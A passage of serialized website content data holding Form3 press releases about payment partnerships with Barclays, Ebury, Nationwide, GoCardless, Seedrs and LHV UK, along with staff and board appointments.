codebases.",[],"rich_text$ffc86f5c-0f72-4daf-9dc9-6aad65faa2a0",{"variation":437,"version":438,"items":2298,"primary":2299,"id":2310,"slice_type":468,"slice_label":5},[],{"body":2300},[2301,2304,2307],{"type":25,"text":2302,"spans":2303,"direction":445},"Handling more than 1,500 transactions per second, the platform is designed to scale efficiently, with each system component—such as payment processing and messaging—able to expand independently to meet customer demand without affecting performance.",[],{"type":25,"text":2305,"spans":2306,"direction":445},"Form3’s technology supports a broad range of domestic and international payment schemes. These include Bacs and Faster Payments in the UK; SEPA Instant, Credit Transfer, Direct Debit, and TIPS in Europe; and TCH RTP, FedNow, and soon FedWire in the US. The company is also exploring a new approach to ACH payments to support further U.S. market growth. Additionally, Form3 enables Open Banking services like Confirmation of Payee (CoP) and Verification of Payee (VoP) to help customers reduce payment fraud.",[],{"type":25,"text":2308,"spans":2309,"direction":445},"Trusted by top-tier financial institutions, Form3 is backed by strategic investors including Visa, Barclays, Nationwide, and Lloyds, who recognize the platform’s technological edge in real-time, scalable, and resilient payments.",[],"rich_text$9c56a212-0d25-40a2-aed8-a4dbc598046b",{"variation":437,"version":438,"items":2312,"primary":2313,"id":2318,"slice_type":583,"slice_label":5},[],{"quote":2314,"attribution_name":1599,"attribution_role":1600},[2315],{"type":25,"text":2316,"spans":2317,"direction":445},"Our platform offers banks and financial institutions a truly resilient, zero-downtime solution that’s secure, compliant, and scalable. With a single API and unmatched reliability, our customers can focus on expanding their reach and services without worrying about outage.",[],"pull_quote$afbe8355-7ebd-4f05-851e-9cf090346023",{"variation":437,"version":438,"items":2320,"primary":2321,"id":2329,"slice_type":468,"slice_label":5},[],{"body":2322},[2323,2326],{"type":474,"text":475,"spans":2324,"direction":445},[2325],{"start":398,"end":602,"type":593},{"type":25,"text":2327,"spans":2328,"direction":445},"Form3 is the account-to-account platform. Founded in 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Today, Form3 is trusted by some of the UK’s and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 recently won the Best Technology Integration Award, in partnership with Nationwide, at the Card and Payments Awards 2025. The company has been included in the 2024 Lazard T100 Index and was listed in the 2024 Top 100 Scale-ups in Europe. The company has also been awarded PayTech of the Year and Team of the Year for Form3’s Engineering Team at the UK Fintech Awards 2024, Team of the Year at the Paytech Awards 2024, and Engineering Team of the Year at the Europe Fintech Awards 2024.",[],"rich_text$f0e10d7f-8c8d-425d-9233-cd5aeec9805f","Form3, the European leader in real-time account-to-account payments now expanding in the US, which handles 4bn of transaction volume per year for leading banks including Nationwide, Lloyds and Barclays.",{"id":2332,"uid":2333,"type":406,"data":2334},"alw4HxEAACsAT8Bw","form3-barclays-sepa-ebury",{"title":2335,"excerpt":2336,"card_image":2337,"published_date":5,"reading_time":5,"tag":379,"dek":2340,"featured_image":2341,"about_form3":2342,"client_about_heading":5,"client_about_body":2343,"author_name":5,"author_title":5,"author_photo":2344,"author_bio":2345,"author_linkedin":2346,"slices":2347,"meta_title":2335,"meta_description":2336},"Form3 and Barclays enable access to the SEPA Instant payment scheme for FinTechs, with Ebury as the launch client","Form3, the leading cloud-native, payment technology provider, and Barclays, a leading provider of financial services to regulated payment institutions, have announced a combined directly connected access solution to the SEPA Instant payment scheme with Ebury as launch client.",{"dimensions":2338,"alt":1368,"copyright":5,"url":1369,"id":1370,"edit":2339},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"Form3, the leading cloud-native, payment technology provider, and Barclays, a leading provider of financial services to regulated payment institutions, have announced a combined directly connected access solution to the SEPA Instant payment scheme with Ebury as launch client.Form3 and Barclays work together to deliver a solution that enables Ebury to offer Ebury IBANs to their customers that are fully reachable at the SEPA Instant Clearing Mechanism. This is the first solution of its kind in Europe that enables direct technical scheme access for non-banks such as FinTechs.For non-banks this industry first model signifies another important step on the Form3 mission to democratise access to payment schemes. Combining with Barclays expertise in providing liquidity service support, the delivery of this model allows FinTechs to fully benefit from the advantages of real-time payment processing (such as 24\u002F7 non-stop service and end-to-end processing in under 10 seconds).\n\n“Form3 is committed to making payments faster, easier and more cost effective for the global financial community. This includes non-banks. Utilising close partnerships with Tier 1 banks means we can open up access to payment schemes for both the Fintech community and financial institutions more broadly, the value of which can be passed on directly to their customers.”   - Michael Mueller",{},[],[],{},[],{"link_type":434},[2348],{"variation":437,"version":438,"items":2349,"primary":2350,"id":2361,"slice_type":468,"slice_label":5},[],{"body":2351},[2352,2355,2358],{"type":25,"text":2353,"spans":2354},"The Form3 and Barclays joint model offers Ebury a Directly Connected Non-Settling Participant sponsorship model (DCNSP) for SEPA Instant payments. Both Form3 and Barclays are focussed on provisioning UK faster payments and have collaborated successfully on that scheme in the past. With the addition of SEPA Instant (EBA\u002FRT1), Form3 has integrated their real-time payment-processing platform with both schemes and can thus facilitate technical connectivity to the central scheme infrastructures. ",[],{"type":25,"text":2356,"spans":2357},"Toby Young, CTO at Ebury commented: “Directly connecting to SEPA Instant without the need for a Central Bank brings real-time payments to new banks and payment providers. Simplicity and flexibility is key to Ebury and its customers and the Form3-Barclays proposition makes that possible.” ",[],{"type":25,"text":2359,"spans":2360},"Karen Braithwaite, Global Head of Transaction Banking at Barclays, said: “Enabling Ebury to offer IBANs anywhere in Europe that are reachable through SEPA Instant will provide a meaningful enhancement to the services they can offer to their clients. Barclays and Ebury have worked together for 10 years in the UK and Europe and we are very pleased that we can support them with this next step. Delivering this outcome to Ebury was only possible through the close collaboration with Form3 and the recognition of EBA Clearing that banks and Technical Service Providers need to coexist to make real-time payments a reality for non-bank payment service providers. “",[],"rich_text$bffffa77-d7ff-4bfa-8f7b-7e833a5ff736",{"id":2363,"uid":2364,"type":406,"data":2365},"alw4AxEAAC0AT7_F","form3-nationwide-strategic-partnership",{"title":2366,"excerpt":2367,"card_image":2368,"published_date":2374,"reading_time":2375,"tag":55,"dek":5,"featured_image":2376,"about_form3":2377,"client_about_heading":5,"client_about_body":2378,"author_name":5,"author_title":5,"author_photo":2379,"author_bio":2380,"author_linkedin":2381,"slices":2382,"meta_title":2366,"meta_description":2367},"Nationwide partners with Form3 to underpin future payments strategy","Nationwide has partnered with Form3 to use their platform to help deliver the Society’s future payments strategy. The Society’s members will be amongst the first in the UK to benefit from the cloud-native technology Form3 uses to process payments",{"dimensions":2369,"alt":2370,"copyright":5,"url":2371,"id":2372,"edit":2373},{"width":412,"height":412},"nationwide","\u002F_prismic-media\u002Fc0070142e57fd9ed-OnytTfyUvo_lkOid_nationwide-Resource.png","OnytTfyUvo_lkOid",{"x":398,"y":398,"zoom":399,"background":400},"2021-05-11",6,{},[],[],{},[],{"link_type":434},[2383,2402,2410],{"variation":437,"version":438,"items":2384,"primary":2385,"id":2401,"slice_type":468,"slice_label":5},[],{"body":2386},[2387,2390,2393],{"type":988,"text":2388,"spans":2389,"direction":445},"Nationwide, the world’s largest building society, has partnered with leading technology provider Form3 and will be connecting to their cloud-native payments platform to simplify and reinforce the Society’s payments infrastructure.",[],{"type":25,"text":2391,"spans":2392,"direction":445},"In August 2020, Nationwide was one of the first financial services providers in the UK to invest in Form3 via its Ventures Fund, recognising the potential of their platform. Now the organisation will become one of the first major financial services organisations in the UK to adopt Form3’s platform.\n \nForm3’s technology will enable the Society to use a secure cloud-native payments infrastructure to provide greater capacity and mean that regular maintenance can be completed without service interruption for members, improving their experience. The platform is also designed with flexibility in mind, making for easier implementation of new rules and standards as well as increasing the speed of deployment for new features and payments functionality.\n",[],{"type":25,"text":2394,"spans":2395,"direction":445},"Otto Benz, Payments Director at Nationwide Building Society, said: “This is an exciting moment for Nationwide and for Form3. Rolling out Form3’s platform is a big step to simplifying and strengthening our payments processing. We expect that we will be processing millions of transactions through our new platform as we migrate services across as part of our future payment’s strategy.\n\n“Since investing in Form3 in August last year our teams have been working together to integrate Form3’s platform with our own core processing systems. We have made the first step in the process by starting to use the platform for processing member payments, showing the exciting pace of change here at Nationwide – despite the challenges posed by collaborating virtually during Covid.” ",[2396,2398],{"start":398,"end":2397,"type":593},67,{"start":2399,"end":2400,"type":593},771,772,"rich_text$04c0116a-c9a1-40a7-8b1c-9e43d910baef",{"variation":437,"version":438,"items":2403,"primary":2404,"id":2409,"slice_type":583,"slice_label":5},[],{"quote":2405,"attribution_name":921,"attribution_role":922},[2406],{"type":25,"text":2407,"spans":2408},"“We are very excited to be part of Nationwide’s journey to migrate to cloud-native technology for much of their service offering. Projects we are running with several large financial institutions in the UK and globally clearly evidence that cloud technology has now reached a level of maturity that allows banks to transition to platform-based technology for their core processing.  This allows them to take advantage of scalability, resilience, security, agility and cost. Nationwide have been one of the first major financial institutions in the UK to engage in a payment transformation project of this scale and we are looking forward to working with their team to fully implement the most modern payment technology in the market.”",[],"pull_quote$74e8872f-5b55-4f83-99d7-aa49c35c6a4f",{"variation":437,"version":438,"items":2411,"primary":2412,"id":2417,"slice_type":468,"slice_label":5},[],{"body":2413},[2414],{"type":25,"text":2415,"spans":2416},"This partnership is the latest step in the Society’s cloud strategy, which aims to use the power of cloud technology to support the evolving needs of its members. Last year Nationwide implemented its new Speed Layer technology, enabling the faster deployment of new products and services and it is already supporting more than 26 million weekly app log ins. The Society’s Mortgage Switching Service has also been powered by cloud native technology since 2018, and more than 320,000 mortgage switches have been made during this time. The application journey time has been cut by a third for members due to the ease and convenience of this cloud powered service.",[],"rich_text$9aaba361-c1bd-42f7-ad74-9967a1d85ca6",{"id":2419,"uid":2420,"type":406,"data":2421},"alw3rhEAACoAT74E","gocardless-selects-form3-for-bacs-payment",{"title":2422,"excerpt":2423,"card_image":2424,"published_date":2430,"reading_time":418,"tag":419,"dek":5,"featured_image":2431,"about_form3":2432,"client_about_heading":5,"client_about_body":2433,"author_name":5,"author_title":5,"author_photo":2434,"author_bio":2435,"author_linkedin":2436,"slices":2437,"meta_title":2422,"meta_description":2423},"GoCardless Selects Form3 for Bacs Payment Connectivity to Support Scale Up of UK Operations","GoCardless, the bank payment company, today announces that it has selected Form3, the cloud-native account-to-account platform, to provide them with Bacs payment connectivity to support the scale up of UK operations.",{"dimensions":2425,"alt":2426,"copyright":5,"url":2427,"id":2428,"edit":2429},{"width":412,"height":412},"GoCardless-Resource","\u002F_prismic-media\u002Fc26c604cce2c8a70-vxA_XljHO2_4vtxi_GoCardless.png","vxA_XljHO2_4vtxi",{"x":398,"y":398,"zoom":399,"background":400},"2025-02-12",{},[],[],{},[],{"link_type":434},[2438,2463],{"variation":437,"version":438,"items":2439,"primary":2440,"id":2462,"slice_type":468,"slice_label":5},[],{"body":2441},[2442,2445,2450,2453,2456,2459],{"type":746,"text":2443,"spans":2444},"Form3 provides scalability and operational resilience as GoCardless’ volume of UK payment transactions continues to grow",[],{"type":25,"text":2423,"spans":2446,"direction":445},[2447],{"start":398,"end":905,"type":489,"data":2448},{"link_type":491,"url":2449,"target":493},"https:\u002F\u002Fgocardless.com\u002F",{"type":25,"text":2451,"spans":2452,"direction":445},"Form3’s unique technology solution provides GoCardless with improved operational and technical resilience to ensure that service continuity is maintained as its UK business grows. As a leading bank payment provider in the UK, GoCardless processes over 5% of the UK’s Direct Debit volume. With over 250 million payments going via Bacs annually, implementing a solution with bank-grade payment submission channels is a core part of GoCardless’ growth strategy.",[],{"type":25,"text":2454,"spans":2455,"direction":445},"Neil Turner, Chief Technology Officer, GoCardless says: “Tens of thousands of customers in the UK trust GoCardless to collect their payments and keep cash flowing within their businesses. Having the right systems in place to process these payments, and the ability to potentially handle millions more transactions each month is fundamental to our business. Form3 has the reputation of offering fast and resilient payment processing that can match our ambitious growth. We look forward to working with them.”",[],{"type":25,"text":2457,"spans":2458,"direction":445},"Mike Walters, Form3’s CEO, says: “Form3 has the payment technology that GoCardless can rely on for operational resiliency, speed, and the ability to scale, to support its UK business growth. Today’s announcement further demonstrates how we help the biggest and most ambitious fintechs with their next phase of expansion. We’re proud to work with GoCardless.”",[],{"type":25,"text":2460,"spans":2461,"direction":445},"Form3’s account-to-account platform gives GoCardless the flexibility to connect to other payment schemes across the UK and Europe in the future. This can further support scale up activity, as and when it is required.",[],"rich_text$360b3f14-cf6e-465d-a6c0-ec65f2ce02b8",{"variation":437,"version":438,"items":2464,"primary":2465,"id":2486,"slice_type":468,"slice_label":5},[],{"body":2466},[2467,2470,2473,2478],{"type":474,"text":475,"spans":2468,"direction":445},[2469],{"start":398,"end":602,"type":593},{"type":25,"text":2471,"spans":2472,"direction":445},"Form3 is the account-to-account platform. Founded in 2016, Form3 set out to revolutionize the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Today, Form3 is trusted by some of the UK’s and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 recently won the Best Technology Integration Award, in partnership with Nationwide, at the Card and Payments Awards 2025. The company has been included in the 2024 Lazard T100 Index and was listed in the 2024 Top 100 Scale-ups in Europe. The company has also been awarded PayTech of the Year and Team of the Year for Form3’s Engineering Team at the UK Fintech Awards 2024, Team of the Year at the Paytech Awards 2024, and Engineering Team of the Year at the Europe Fintech Awards 2024.",[],{"type":474,"text":2474,"spans":2475,"direction":445},"About GoCardless",[2476],{"start":398,"end":2477,"type":593},16,{"type":25,"text":2479,"spans":2480,"direction":445},"GoCardless is a global bank payment company. Nearly 100,000 businesses, from start-ups to household names, use GoCardless to collect and send payments through direct debit, real-time payments and open banking. GoCardless processes US$130bn+ of payments annually across 30+ countries; helping customers collect and send both recurring and one-off payments, without the chasing, stress or expensive fees. We use data and insights to improve payment success, reduce fraud and, with open banking connectivity to over 2,500 banks, help our customers make faster, more informed decisions. We are headquartered in the UK, with additional offices in Australia, France, Ireland, Latvia and the United States. For more information, please visit www.gocardless.com and follow us on LinkedIn @GoCardless.",[2481],{"start":2482,"end":2483,"type":489,"data":2484},735,753,{"link_type":491,"url":2485,"target":493},"https:\u002F\u002Fwww.aryza.com\u002F","rich_text$586ecf30-e57b-441f-9f1a-1962a29f0378",{"id":2488,"uid":2489,"type":406,"data":2490},"alw3vhEAAC0AT75a","form3-appoints-anil-arora-as-non-executive-director",{"title":2491,"excerpt":2492,"card_image":2493,"published_date":2498,"reading_time":506,"tag":729,"dek":2499,"featured_image":2500,"about_form3":2501,"client_about_heading":5,"client_about_body":2502,"author_name":5,"author_title":5,"author_photo":2503,"author_bio":2504,"author_linkedin":2505,"slices":2506,"meta_title":2491,"meta_description":2492},"Form3 Appoints Anil Arora as Non-Executive Director to Support Scaling-Up Activity","Form3 announces that it has strengthened its Board of Directors by appointing Anil Arora as independent Non-Executive Director. Based in San Francisco, Anil will bring to Form3 his significant experience in founding fintechs and scaling these into established US enterprises. Anil will help Form3 on its expansion journey, drawing on his experience of managing and understanding scaled Software-as-a-Service (SaaS) focused on financial institutions.",{"dimensions":2494,"alt":2491,"copyright":5,"url":2495,"id":2496,"edit":2497},{"width":412,"height":412},"\u002F_prismic-media\u002Fe226acd5a4c86b9b-yWtzz5UXCHFaUrOR_form3-appoints-anil-arora-as-no.jpg","yWtzz5UXCHFaUrOR",{"x":398,"y":398,"zoom":399,"background":650},"2024-01-03","Entrepreneur with a proven business success track-record joins Form3",{},[],[],{},[],{"link_type":434},[2507,2521,2543,2557],{"variation":437,"version":438,"items":2508,"primary":2509,"id":2520,"slice_type":468,"slice_label":5},[],{"body":2510},[2511,2514,2517],{"type":25,"text":2512,"spans":2513},"Form3, the cloud-native account-to-account platform, today announces that it has strengthened its Board of Directors by appointing Anil Arora as independent Non-Executive Director.  ",[],{"type":25,"text":2515,"spans":2516},"Based in San Francisco, Anil will bring to Form3 his significant experience in founding fintechs and scaling these into established US enterprises. Anil will help Form3 on its expansion journey, drawing on his experience of managing and understanding scaled Software-as-a-Service (SaaS) focused on financial institutions.  ",[],{"type":25,"text":2518,"spans":2519},"In addition to Anil’s knowledge of fintech companies, he will draw on his broader experiences of expanding companies across both public and private sectors. Anil will work closely with Form3’s US Chief Executive, Dave Scola, as part of the company’s strong commitment to expand the US business as a key market. ",[],"rich_text$3487e6ff-bc14-4559-af89-29a6ae7627af",{"variation":437,"version":527,"items":2522,"primary":2523,"id":2542,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":2524,"body":2525,"cta_label":5,"cta_link":2529,"aside_type":533,"aside_image":2530,"aside_video":2537,"aside_video_poster":2538,"aside_video_reduced_motion":2539,"aside_video_url":5,"aside_embed":2540,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":2541,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[2526],{"type":25,"text":2527,"spans":2528},"Anil Arora – Non-Executive Director, Form3",[],{"link_type":434},{"dimensions":2531,"alt":2527,"copyright":5,"url":2534,"id":2535,"edit":2536},{"width":2532,"height":2533},872,436,"\u002F_prismic-media\u002Ffbf88f9d10e2e4d8-ftZwjrQedPk6qAyf_ed21d77f-ac10-4312-9d3f-5ed8acd.png","ftZwjrQedPk6qAyf",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$b15b8091-1200-4f18-862d-1289db2cbe2e",{"variation":437,"version":438,"items":2544,"primary":2545,"id":2556,"slice_type":468,"slice_label":5},[],{"body":2546},[2547,2550,2553],{"type":25,"text":2548,"spans":2549},"Anil is a successful businessman and CEO. He took Yodlee, then a small tech company, to initial public offering (IPO), before it was sold to Envestnet. He currently focuses on executive board and advisory positions across several public and private companies like ON24, Conagra Brands and Water.org. He has previously held senior corporate roles at Gateway and Kraft Foods, and worked in various business sectors including fintech, personal computing and consumer-packaged goods.  ",[],{"type":25,"text":2551,"spans":2552},"Commenting on his new role with Form3, Anil says: “I am very much looking forward to working with the Form3 leadership team and the Board of Directors to help it to scale-up globally. Form3 is clearly an emerging leader in the payment technology business, so it is great to be on board at this very interesting and important time in its evolution.” ",[],{"type":25,"text":2554,"spans":2555},"Michael Mueller, Executive Chair, Form3, adds: “Anil is a very well-known and respected businessman and entrepreneur, having worked across many business sectors. We are very pleased he has joined Form3. His significant experience in scaling enterprise technology companies will not only help us to strengthen the governance of the business, but also drive growth in Form3’s key markets, including the US. Welcome on board, Anil.”",[],"rich_text$398b556e-4946-4136-992a-c4dd41cc5d26",{"variation":437,"version":438,"items":2558,"primary":2559,"id":2566,"slice_type":468,"slice_label":5},[],{"body":2560},[2561,2563],{"type":474,"text":475,"spans":2562},[],{"type":25,"text":2564,"spans":2565},"Form3 is the account-to-account platform. Founded In 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Today, Form3 is trusted by some of the UK’s and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 has been awarded Accel Euroscape 2023 Top 100 Company, Tech of the Future for Banks & Financial Institutions 2023 by the Paytech Awards, Payments Tech of the Year 2023 at the UK Fintech Awards, and Engineering Team of the Year 2023 at the Europe Fintech Awards.",[],"rich_text$9665459b-7007-45d3-a5cd-06321199a5b6",{"id":2568,"uid":2569,"type":406,"data":2570},"alw3-hEAACoAT7-S","miriam-sheril",{"title":2571,"excerpt":2572,"card_image":2573,"published_date":2578,"reading_time":643,"tag":231,"dek":2572,"featured_image":2579,"about_form3":2580,"client_about_heading":5,"client_about_body":2581,"author_name":5,"author_title":5,"author_photo":2582,"author_bio":2583,"author_linkedin":2584,"slices":2585,"meta_title":2571,"meta_description":2572},"Miriam Sheril joins Form3 from the Fed as a US Product Manager","Form3, the leading cloud-native payment technology provider, today announced it has strengthened its US team to accelerate its product capabilities and customer growth as it continues its global expansion in cloud payments technology.",{"dimensions":2574,"alt":2571,"copyright":5,"url":2575,"id":2576,"edit":2577},{"width":412,"height":412},"\u002F_prismic-media\u002Ff328f1323b556b8a-0WhZNx1dREG5S8Xc_miriam-sheril.png","0WhZNx1dREG5S8Xc",{"x":398,"y":398,"zoom":399,"background":400},"2022-06-07",{},[],[],{},[],{"link_type":434},[2586,2597],{"variation":437,"version":438,"items":2587,"primary":2588,"id":2596,"slice_type":468,"slice_label":5},[],{"body":2589},[2590,2593],{"type":746,"text":2591,"spans":2592,"direction":445},"Accelerating Form3’s growth",[],{"type":25,"text":2594,"spans":2595,"direction":445},"Miriam Sheril joins as Senior Product Manager with responsibility to build out and enhance Form3’s product capabilities in the US, focusing on the Federal Reserve’s FedNow and ACH capabilities, as well as the Clearinghouse’s RTP and ACH  capabilities. Miriam comes with more than 13 years’ experience in financial services, where she focused on product and software development and management. She joins Form3 from the Federal Reserve Bank, where she was most recently the FedNow Core Product Manager Lead AVP, responsible for the design and build of the FedNow product since its inception.",[],"rich_text$0cd12e76-4eeb-45be-9c5c-d290dddc1300",{"variation":437,"version":527,"items":2598,"primary":2599,"id":2616,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":2600,"body":2601,"cta_label":5,"cta_link":2605,"aside_type":5,"aside_image":2606,"aside_video":2611,"aside_video_poster":2612,"aside_video_reduced_motion":2613,"aside_video_url":5,"aside_embed":2614,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":2615,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[2602],{"type":25,"text":2603,"spans":2604,"direction":445},"\"We're thrilled to have Miriam on board to work with our clients and to lead the US market build out of our FedNow capability. She is an experienced product manager who focuses on connecting business and technical teams together. We’re proud to have her on board to help accelerate Form3’s growth.\" Dave Scola, US Chief Executive ",[],{"link_type":434},{"dimensions":2607,"alt":2571,"copyright":5,"url":2609,"id":2576,"edit":2610},{"width":2608,"height":2608},364,"\u002F_prismic-media\u002F1e5c5189e683e2da-0WhZNx1dREG5S8Xc_miriam-sheril.png",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$6d88d992-5bae-4516-8291-38417fa0e14c",{"id":2618,"uid":2619,"type":406,"data":2620},"alw39xEAACkAT7-B","seedrs-lhv-uk-fps",{"title":2621,"excerpt":2622,"card_image":2623,"published_date":2629,"reading_time":1633,"tag":379,"dek":2622,"featured_image":2630,"about_form3":2631,"client_about_heading":5,"client_about_body":2632,"author_name":5,"author_title":5,"author_photo":2633,"author_bio":2634,"author_linkedin":2635,"slices":2636,"meta_title":2621,"meta_description":2622},"Seedrs Selects Form3 and LHV UK to Support Instant and Faster Payments to Boost UK and European Customer Offering","Collaboration will enable Seedrs to utilise real-time payments for a more efficient and effective service to customers",{"dimensions":2624,"alt":2625,"copyright":5,"url":2626,"id":2627,"edit":2628},{"width":412,"height":412},"dfg","\u002F_prismic-media\u002F886de1c6a6d5e3b1-lF1hbtbnp-7Fq0zP_seedrs-lhv-uk-fps.png","lF1hbtbnp-7Fq0zP",{"x":398,"y":398,"zoom":399,"background":400},"2022-07-06",{},[],[],{},[],{"link_type":434},[2637,2658,2666,2679,2699],{"variation":437,"version":438,"items":2638,"primary":2639,"id":2657,"slice_type":468,"slice_label":5},[],{"body":2640},[2641,2644,2647,2654],{"type":25,"text":2642,"spans":2643},"Seedrs, the leading private investment platform with over £1.9BN investments to date, has chosen Form3, the leading cloud-native payment technology provider, and LHV UK, a banking services provider to over 200 fintech companies, to enable it to access UK Faster Payments and SEPA Instant Payments in Europe, to augment its customer offering. ",[],{"type":25,"text":2645,"spans":2646},"The new payment capability will support Seedrs’ efforts to make it easier and faster for retail investors to invest in innovative, fast-growth European businesses. The integration of Form3 will provide Seedrs’ users with real-time payments for account funding – the next step in its business development. ",[],{"type":25,"text":2648,"spans":2649},"Charlie James, Seedrs’s Head of Finance & Business Intelligence, commented: “As a leading private investment platform, we need partners that can provide payments and services that makes investing on our platform seamless, transparent and quick to support. In Form3 and LHV UK we’ve found agile and reliable collaborators who can help Seedrs expand its UK and European offering.”",[2650,2652],{"start":398,"end":2651,"type":593},75,{"start":855,"end":2653,"type":765},377,{"type":25,"text":2655,"spans":2656},"The new collaboration is underpinned by Form3’s cloud-API technology and LHV UK’s banking infrastructure and regulatory expertise to provide Seedrs with real-time payments for account funding and reconciliation services, safely adhering to banking regulations. This will greatly benefit Seedrs’ businesses and the investors who support them. ",[],"rich_text$eb3b3c4e-9db9-4a5c-a749-8e6b2ec826b4",{"variation":437,"version":438,"items":2659,"primary":2660,"id":2665,"slice_type":583,"slice_label":5},[],{"quote":2661,"attribution_name":5,"attribution_role":5},[2662],{"type":25,"text":2663,"spans":2664},"“Form3 provides cloud-based payments solutions to benefit everyone from tier one banks to the thriving startup investor space. This is part of our drive to reimagine payments technology, ensuring all companies - established or new - can have access to best-in-class services. Working with Seedrs, in partnership with LHV UK, further supports our UK and European market expansion.”",[],"pull_quote$d2f45901-1454-480f-8320-05e13587db8d",{"variation":437,"version":438,"items":2667,"primary":2668,"id":2678,"slice_type":468,"slice_label":5},[],{"body":2669},[2670],{"type":25,"text":2671,"spans":2672,"direction":445},"Andres Kitter, Deputy CEO of LHV UK, said: “Seedrs is one of the most reputable fintechs, having launched in the UK ten years ago. They continue to democratise equity crowdfunding across the UK and Europe, and LHV UK, in partnership with Form3, is thrilled to support their continued expansion. We are uniquely positioned to provide multi-currency CASS account infrastructure and access to real-time payment schemes across multiple jurisdictions. We shall do our best to assist Seedrs with their ambition of building the best global private equity marketplace.”",[2673,2676],{"start":2674,"end":2675,"type":765},44,159,{"start":764,"end":2677,"type":765},559,"rich_text$d5e4d86a-8e8e-451f-adc2-86388ff7502b",{"variation":437,"version":527,"items":2680,"primary":2681,"id":2698,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":2682,"body":2683,"cta_label":5,"cta_link":2687,"aside_type":5,"aside_image":2688,"aside_video":2693,"aside_video_poster":2694,"aside_video_reduced_motion":2695,"aside_video_url":5,"aside_embed":2696,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":2697,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[2684],{"type":25,"text":2685,"spans":2686,"direction":445},"The new payment collaboration is due to go live in August. ",[],{"link_type":434},{"dimensions":2689,"alt":5,"copyright":5,"url":2690,"id":2691,"edit":2692},{"width":501,"height":501},"\u002F_prismic-media\u002Ff7ffebc8a6db515a-tL7554La3upg6tfA_57e33ab5-e89c-4098-a117-5b72a11.png","tL7554La3upg6tfA",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$2036d819-9be9-4a6d-9a75-81bc35c6ef23",{"variation":437,"version":438,"items":2700,"primary":2701,"id":2737,"slice_type":468,"slice_label":5},[],{"body":2702},[2703,2708,2714,2718,2724,2728,2734],{"type":25,"text":2704,"spans":2705,"direction":445},"About Form3 ",[2706],{"start":398,"end":2707,"type":593},12,{"type":25,"text":2709,"spans":2710,"direction":445},"Form3 design, build and run the technology that powers the future of payments. Founded In 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Today, Form3 is trusted by some of UK and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 has been awarded Best Cloud Payments Platform 2021 by Paytech and Fintech Finance, most influential fintech company in 2021 by The Financial Technologist and ranked in the Top European Fintechs to watch by Sifted 2020",[2711],{"start":398,"end":643,"type":489,"data":2712},{"link_type":491,"url":2713,"target":493},"https:\u002F\u002Fwww.form3.tech\u002F",{"type":25,"text":2715,"spans":2716,"direction":445},"About Seedrs ",[2717],{"start":398,"end":1951,"type":593},{"type":25,"text":2719,"spans":2720,"direction":445},"Seedrs is a leading online investment platform. It allows investors to buy and sell shares in private companies, and ambitious entrepreneurs to gain investment for their businesses while building communities in the process. Since its launch in 2012, Seedrs has funded over 1,600 deals, with over £1.9 billion invested on the platform to date. Businesses that have successfully raised funds with Seedrs include: Revolut, Perkbox, Wealthify (sold to Aviva), Tandem, FreeAgent (sold to RBS), Allplants, Stamplay (sold to Apple), Chapel Down, Assetz Capital, Courier (sold to Mailchimp), THIS, Humble Grape, JAJA Finance and Mindful Chef (sold to Nestle). Seedrs is backed by leading European institutional investors as well as over 4,600 of its own customers. ",[2721],{"start":398,"end":2375,"type":489,"data":2722},{"link_type":491,"url":2723,"target":493},"https:\u002F\u002Fwww.seedrs.com\u002F",{"type":25,"text":2725,"spans":2726,"direction":445},"About LHV UK ",[2727],{"start":398,"end":1951,"type":593},{"type":25,"text":2729,"spans":2730,"direction":445},"LHV UK is a leading banking services provider to over 200 fintech companies, including Paysafe, Blockchain, Currencycloud, Coinbase, Trustly, Monese and Wise. Its clients vary from fintech unicorns and digital asset companies to established financial institutions with a global reach. LHV UK offers several innovative banking services, including instant EUR and GBP payments, agency banking, virtual IBANs, safeguarding accounts, multicurrency accounts, and FX. ",[2731],{"start":398,"end":2375,"type":489,"data":2732},{"link_type":491,"url":2733,"target":493},"https:\u002F\u002Fwww.lhv.com\u002F",{"type":25,"text":2735,"spans":2736,"direction":445},"LHV UK is the founding member and leader in instant EUR payments, processing 8% of the total transactions in Europe. Its clients reach 500 million end-customers in the UK and Europe by making and collecting payments. In February 2022, LHV UK submitted its full UK banking license application, which is subject to regulatory approval by the Prudential Regulatory Authority and Financial Conduct Authority.  ",[],"rich_text$b2f4568a-7192-4268-8d50-df0a82634371",{"id":2739,"uid":2740,"type":406,"data":2741},"alw36hEAACsAT788","form3-to-launch-cloud-native-api-swift-connectivity",{"title":2742,"excerpt":2743,"card_image":2744,"published_date":2749,"reading_time":506,"tag":231,"dek":2750,"featured_image":2751,"about_form3":2752,"client_about_heading":5,"client_about_body":2756,"author_name":5,"author_title":5,"author_photo":2757,"author_bio":2758,"author_linkedin":2759,"slices":2760,"meta_title":2742,"meta_description":2743},"Form3 